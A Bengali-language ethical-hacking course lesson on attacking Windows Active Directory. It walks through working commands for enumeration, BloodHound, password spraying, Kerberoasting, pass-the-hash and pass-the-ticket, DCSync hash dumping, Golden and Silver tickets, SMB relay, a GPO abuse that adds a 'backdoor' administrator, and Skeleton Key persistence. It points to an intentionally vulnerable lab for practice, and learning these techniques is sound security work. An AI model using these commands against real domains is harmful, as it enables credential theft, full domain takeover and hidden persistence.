Skip to content
← এথিক্যাল হ্যাকিং · উন্নত · 18 মিনিট · 16 / 31 EN

অ্যাক্টিভ ডিরেক্টরি অ্যাটাক

BloodHound, Kerberoasting, AS-REP Roasting, Pass-the-Ticket, DCSync, Golden Ticket — Windows ডোমেইন দখলের কৌশল।

Active DirectoryKerberosBloodHoundKerberoastingDCSyncGolden TicketLDAPSMB relay

বাস্তব জীবনের উদাহরণ

Active Directory হলো এমন একটা কর্পোরেট HR ডেটাবেস যেটা একইসাথে নিয়ন্ত্রণ করে কে কোন দরজা খুলতে পারবে। AD কম্প্রোমাইজ করা মানে শুধু একটা মেশিনে root হওয়া না — আপনি হয়ে যাচ্ছেন সেই HR ডিরেক্টর যে যেকাউকে চাকরি দিতে বা বাদ দিতে পারে, যেকোনো রুম আনলক করতে পারে, এবং যেকোনো badge ইস্যু করতে পারে।

গল্পে বুঝি

ফাতিমা আল-ফিহরি একটা বিশাল প্রতিষ্ঠানের সিকিউরিটি চিফ — দশটা বিল্ডিং, হাজারটা দরজা, ল্যাব থেকে সার্ভার রুম সব মিলিয়ে। এত দরজার প্রতিটার আলাদা চাবি বানানো অসম্ভব, তাই পুরো প্রতিষ্ঠানে একটাই কেন্দ্রীয় key-and-badge অফিস। ওই একটা অফিসই ঠিক করে দেয় কোন কর্মীর badge কোন কোন দরজা খুলবে — ইবনে সিনার badge শুধু তার ল্যাব খোলে, আর master control-এর কাছে থাকে সব দরজার নিয়ন্ত্রণ। কেউ যদি ওই কেন্দ্রীয় অফিসটা দখল করে ফেলে, তাহলে সে কোনো একটা রুম না, গোটা প্রতিষ্ঠানের প্রতিটা রুম খুলতে পারে — নতুন badge বানাতে, পুরনো badge বাতিল করতে, যেকোনো দরজা আনলক করতে।

তাই ফাতিমা যেকোনো একটা সার্ভার রুমের চেয়েও অনেক কড়াকড়ি করে ওই কেন্দ্রীয় অফিসটাকেই পাহারা দেন। master control আঙুলে গোনা কয়েকজনের হাতে থাকে, আর সাধারণ কর্মীর রোজকার badge-এর সিস্টেম আর master control-এর সিস্টেম আলাদা রাখা হয় — যাতে একজন সাধারণ কর্মীর badge চুরি হলেও কেউ কেন্দ্রীয় নিয়ন্ত্রণে হাত দিতে না পারে। আল-খোয়ারিজমি যখন শুধু ল্যাবের কাজ করেন, তাকে master control দেওয়ার দরকারই নেই।

এই কেন্দ্রীয় key-and-badge অফিসটাই হলো Active Directory — পুরো Windows প্রতিষ্ঠানের central identity আর authentication সিস্টেম, যা ঠিক করে কে কোন মেশিনে ঢুকতে পারবে। ওই একটা অফিস দখল করা মানেই গোটা প্রতিষ্ঠানের প্রতিটা মেশিন দখল — তাই AD-কে crown jewels হিসেবে সবচেয়ে কড়া পাহারায় রাখতে হয়। এর মূল রক্ষাকবচ দুটো: least privilege — প্রতিটা account পায় ঠিক ততটুকু access যতটুকু তার কাজে দরকার, বেশি না; আর tiered admin — Domain Controller-এর master control আর সাধারণ workstation-এর দৈনন্দিন access কড়াভাবে আলাদা স্তরে রাখা, যাতে একটা সাধারণ মেশিন কম্প্রোমাইজ হলেও attacker সোজা domain-এর নিয়ন্ত্রণে পৌঁছাতে না পারে। বাস্তবে অনেক বড় breach — যেমন র‍্যানসমওয়্যার হামলা — একটা সাধারণ workstation থেকে শুরু হয়ে ধাপে ধাপে Domain Controller পর্যন্ত পৌঁছায়; tiered admin আর least privilege ঠিকমতো থাকলে ওই পথটাই বন্ধ হয়ে যায়।

Active Directory-র মূল ধারণা

Domain Controller (DC)    → server running AD DS, the crown jewel
Domain                    → logical grouping (corp.local)
Forest                    → collection of domains with trust relationships
Organizational Unit (OU)  → container for users/computers/groups
Group Policy Object (GPO) → settings pushed to computers and users
Trust                     → relationship allowing auth between domains

Key objects:
  Users       → domain accounts
  Computers   → machine accounts (end in $)
  Groups      → Security groups control access
  SPNs        → Service Principal Names → Kerberoasting targets

প্রাথমিক এনুমারেশন

# From Linux — enumerate with credentials
# (gained via password spray, phishing, or guest access)

# LDAPsearch — query AD via LDAP
ldapsearch -x -H ldap://192.168.1.100 -D "user@corp.local" -w 'Password1' \
  -b "DC=corp,DC=local" "(objectclass=user)" sAMAccountName

# Impacket — comprehensive AD toolkit
# List users
python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py \
  -all corp.local/user:Password1

# Enumerate domain info
python3 /usr/share/doc/python3-impacket/examples/rpcclient.py \
  -U "user%Password1" 192.168.1.100

# CrackMapExec — Swiss army knife for AD
crackmapexec smb 192.168.1.0/24 -u user -p 'Password1' --users
crackmapexec smb 192.168.1.100 -u user -p 'Password1' --groups
crackmapexec smb 192.168.1.100 -u user -p 'Password1' --shares
crackmapexec smb 192.168.1.100 -u user -p 'Password1' --pass-pol
# From Windows (domain-joined machine)
# PowerView — PowerShell AD enumeration
Import-Module PowerView.ps1

Get-Domain                          # domain info
Get-DomainController                # list DCs
Get-DomainUser | select samaccountname, description, pwdlastset
Get-DomainGroup "Domain Admins" | select member
Get-DomainComputer | select dnshostname, operatingsystem
Get-DomainGPO | select displayname, gpcfilesyspath
Get-DomainOU | select distinguishedname
Find-LocalAdminAccess               # where is current user local admin?
Invoke-ShareFinder                  # find accessible shares

BloodHound — অ্যাটাক পাথ ম্যাপিং

BloodHound Domain Admin পর্যন্ত অ্যাটাক পাথ ভিজ্যুয়ালাইজ করে। এটাই সবচেয়ে গুরুত্বপূর্ণ AD টুল।

# Step 1: Collect data with SharpHound (Windows) or BloodHound.py (Linux)

# BloodHound.py from Linux
pip install bloodhound
python3 -m bloodhound -u user -p 'Password1' -d corp.local -dc 192.168.1.100 -c All

# SharpHound from Windows (inside domain)
./SharpHound.exe -c All
# Or via PowerShell:
Invoke-BloodHound -CollectionMethod All

# Step 2: Start BloodHound
sudo neo4j start
bloodhound &
# Login: neo4j / (set on first run)
# Import the zip from SharpHound/BloodHound.py

# Step 3: Run pre-built queries
# "Find Shortest Paths to Domain Admins"
# "Find Principals with DCSync Rights"
# "Find Kerberoastable Users"
# "Find AS-REP Roastable Users"
# "Find Computers with Unconstrained Delegation"

BloodHound সেকেন্ডের মধ্যে সেই অ্যাটাক পাথ দেখিয়ে দেয় যেটা ম্যানুয়ালি খুঁজতে ঘণ্টার পর ঘণ্টা লাগত।

পাসওয়ার্ড স্প্রেয়িং

AD এনভায়রনমেন্ট N বার ফেইল্ড অ্যাটেম্পটের পর অ্যাকাউন্ট লক করে দেয়। তাই ধীরে স্প্রে করুন।

# CrackMapExec — spray one password across all users
crackmapexec smb 192.168.1.100 -u users.txt -p 'Winter2024!' --continue-on-success

# Check lockout policy first!
crackmapexec smb 192.168.1.100 -u user -p 'Password1' --pass-pol
# Bad password count, lockout threshold, observation window

# Kerbrute — fast UDP-based spray (no lockout logs on older DCs)
./kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Winter2024!'

# Generate username list from OSINT
python3 linkedin2username.py -c 'corp' -n 'Corp Inc' > users.txt

Kerberoasting

SPN আছে এমন সার্ভিস অ্যাকাউন্টগুলোর TGS টিকিট তাদের NTLM হ্যাশ দিয়ে এনক্রিপ্ট করা থাকে। টিকিট রিকোয়েস্ট করে অফলাইনে ক্র্যাক করুন।

# From Linux
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py \
  corp.local/user:Password1 -dc-ip 192.168.1.100 -request

# Output: TGS-REP hashes (format $krb5tgs$23$...)
# Save to file and crack:
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt -r best64.rule

# From Windows
# PowerView:
Invoke-Kerberoast -OutputFormat Hashcat | fl hash

# Rubeus:
.\Rubeus.exe kerberoast /format:hashcat /output:hashes.txt

কেন এটা কাজ করে: যেকোনো ডোমেইন ইউজার যেকোনো SPN-এর জন্য TGS টিকিট রিকোয়েস্ট করতে পারে। টিকিটটা সার্ভিস অ্যাকাউন্টের পাসওয়ার্ড হ্যাশ দিয়ে এনক্রিপ্ট করা থাকে। সার্ভিস অ্যাকাউন্টের পাসওয়ার্ড দুর্বল হলে সেটা আপনি অফলাইনে ক্র্যাক করতে পারবেন।

AS-REP Roasting

যেসব অ্যাকাউন্টে “Do not require Kerberos pre-authentication” এনাবল করা থাকে, তারা pre-auth স্টেপ স্কিপ করে — তাদের AS-REP রিকোয়েস্ট করে অফলাইনে ক্র্যাক করা যায়। কোনো ক্রেডেনশিয়াল লাগে না।

# Find accounts without pre-auth (from Linux, no creds needed)
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py \
  corp.local/ -dc-ip 192.168.1.100 -usersfile users.txt -no-pass -format hashcat

# With credentials (finds accounts automatically)
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py \
  corp.local/user:Password1 -dc-ip 192.168.1.100 -request -format hashcat

# Crack:
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# From Windows — Rubeus
.\Rubeus.exe asreproast /format:hashcat /output:asrep.txt

Pass-the-Hash (Windows)

# psexec with hash
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
  corp.local/Administrator@192.168.1.100 -hashes :NTLM_HASH

# wmiexec
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \
  corp.local/Administrator@192.168.1.100 -hashes :NTLM_HASH

# CME spray hash across subnet
crackmapexec smb 192.168.1.0/24 -u Administrator -H :NTLM_HASH --local-auth

Pass-the-Ticket

# Export all tickets from memory (Windows, admin required)
.\Rubeus.exe dump /nowrap

# Or via Mimikatz
sekurlsa::tickets /export

# Import ticket
.\Rubeus.exe ptt /ticket:base64_ticket_here
# or: kerberos::ptt ticket.kirbi

# From Linux with ccache file
export KRB5CCNAME=ticket.ccache
python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass corp.local/user@DC01

DCSync — সব ডোমেইন হ্যাশ ডাম্প করা

Replicating Directory Changes রাইট থাকলে (Domain Admin, বা এক্সপ্লিসিটলি গ্র্যান্টেড), আপনি DC থেকে সব পাসওয়ার্ড হ্যাশ পুল করতে পারবেন, যেন আপনি রেপ্লিকেশন করা আরেকটা DC।

# From Linux
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
  corp.local/Administrator:Password1@192.168.1.100

# Target specific user
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
  corp.local/Administrator:Password1@192.168.1.100 -just-dc-user krbtgt

# From Windows — Mimikatz
lsadump::dcsync /domain:corp.local /user:Administrator
lsadump::dcsync /domain:corp.local /all /csv   # all users

Golden Ticket

krbtgt-র NTLM হ্যাশ থাকলে (DCSync থেকে পাওয়া), যেকোনো ইউজারের জন্য — এমনকি যে অস্তিত্বই নেই তার জন্যও — Kerberos TGT ফোর্জ করা যায়। krbtgt পাসওয়ার্ড না পাল্টানো পর্যন্ত এটা ভ্যালিড থাকে (বেশিরভাগ প্রতিষ্ঠান এটা কখনোই পাল্টায় না)।

# Requirements:
# - krbtgt NTLM hash (from DCSync)
# - Domain SID: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX

# Get domain SID
python3 /usr/share/doc/python3-impacket/examples/lookupsid.py \
  corp.local/user:Password1@192.168.1.100 | head -5

# Mimikatz — forge Golden Ticket
kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-... \
  /krbtgt:KRBTGT_NTLM_HASH /ptt

# Now you have a TGT as "FakeAdmin" (Domain Admin) — valid for 10 years by default
dir \\DC01\C$   # access domain controller share

Silver Ticket

সার্ভিস অ্যাকাউন্ট হ্যাশ দিয়ে নির্দিষ্ট সার্ভিসের জন্য TGS টিকিট ফোর্জ করা — Golden Ticket-এর চেয়ে বেশি টার্গেটেড, কম লগড।

# Requirements: service account NTLM hash (from Kerberoasting, credentials, or DCSync)

# Mimikatz
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... \
  /target:fileserver.corp.local /service:cifs \
  /rc4:SERVICE_ACCOUNT_HASH /ptt

# Access file server as Administrator
dir \\fileserver.corp.local\C$

SMB Relay অ্যাটাক

Responder থেকে পাওয়া NTLMv2 হ্যাশ ক্র্যাক করার বদলে সরাসরি রিলে করুন:

# Requirements:
# - SMB signing disabled (check with CrackMapExec)
# - Responder + ntlmrelayx running together

# Check SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay-targets.txt
# Machines with signing:False → relay targets

# Configure Responder: disable SMB and HTTP (ntlmrelayx handles those)
sed -i 's/SMB = On/SMB = Off/; s/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf

# Terminal 1: Responder (capture and forward hashes)
sudo responder -I eth0 -rdwf

# Terminal 2: ntlmrelayx (relay to targets)
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py \
  -tf relay-targets.txt -smb2support

# When a Windows machine sends NTLM auth for anything (file share, web):
# → Responder captures → relays to target → if target has SMB signing off → SYSTEM shell

# For interactive shell:
python3 ntlmrelayx.py -tf relay-targets.txt -smb2support -i
# Connect to relay shell: nc 127.0.0.1 11000

GPO অ্যাটাক করা

# Find GPOs you can modify
Get-DomainGPO | Get-ObjectACL -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite" -and
                 $_.SecurityIdentifier -match "S-1-5-21-...(user SID)" }

# If you can write a GPO:
# Add scheduled task via SharpGPOAbuse
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" \
  --Command "cmd.exe" --Arguments "/c net user backdoor Password1! /add && net localgroup administrators backdoor /add" \
  --GPOName "Default Domain Policy"

AD-এ Persistence

# AdminSDHolder — objects in AdminSDHolder propagate ACLs to protected groups
# Add yourself to AdminSDHolder ACL → survives Group membership cleanup

$victim = "S-1-5-21-...user-SID"
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
  -PrincipalIdentity $victim -Rights All

# DSyncAll rights — grant DCSync to your account
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity user -Rights DCSync

# Skeleton Key — patch LSASS so any account accepts "mimikatz" as password
# (until reboot)
privilege::debug
misc::skeleton
# Now: any user can auth with "mimikatz" as password

রিয়েল প্রজেক্ট: AD ল্যাব সেটআপ

# Vulnerable AD lab: GOAD (Game of Active Directory)
git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
# Requires VirtualBox + Vagrant
vagrant up
# Provisions: 5 VMs with intentional AD vulnerabilities

# Or: PwnLab/VulnAD VMs from VulnHub

# Practice path:
# 1. Password spray → find one valid cred
# 2. BloodHound → find Kerberoastable accounts
# 3. Kerberoast → crack service account password
# 4. Service account → local admin somewhere
# 5. Dump local hashes → PTH to other machines
# 6. Find DA or account with DCSync rights
# 7. DCSync → krbtgt hash → Golden Ticket
# 8. Own everything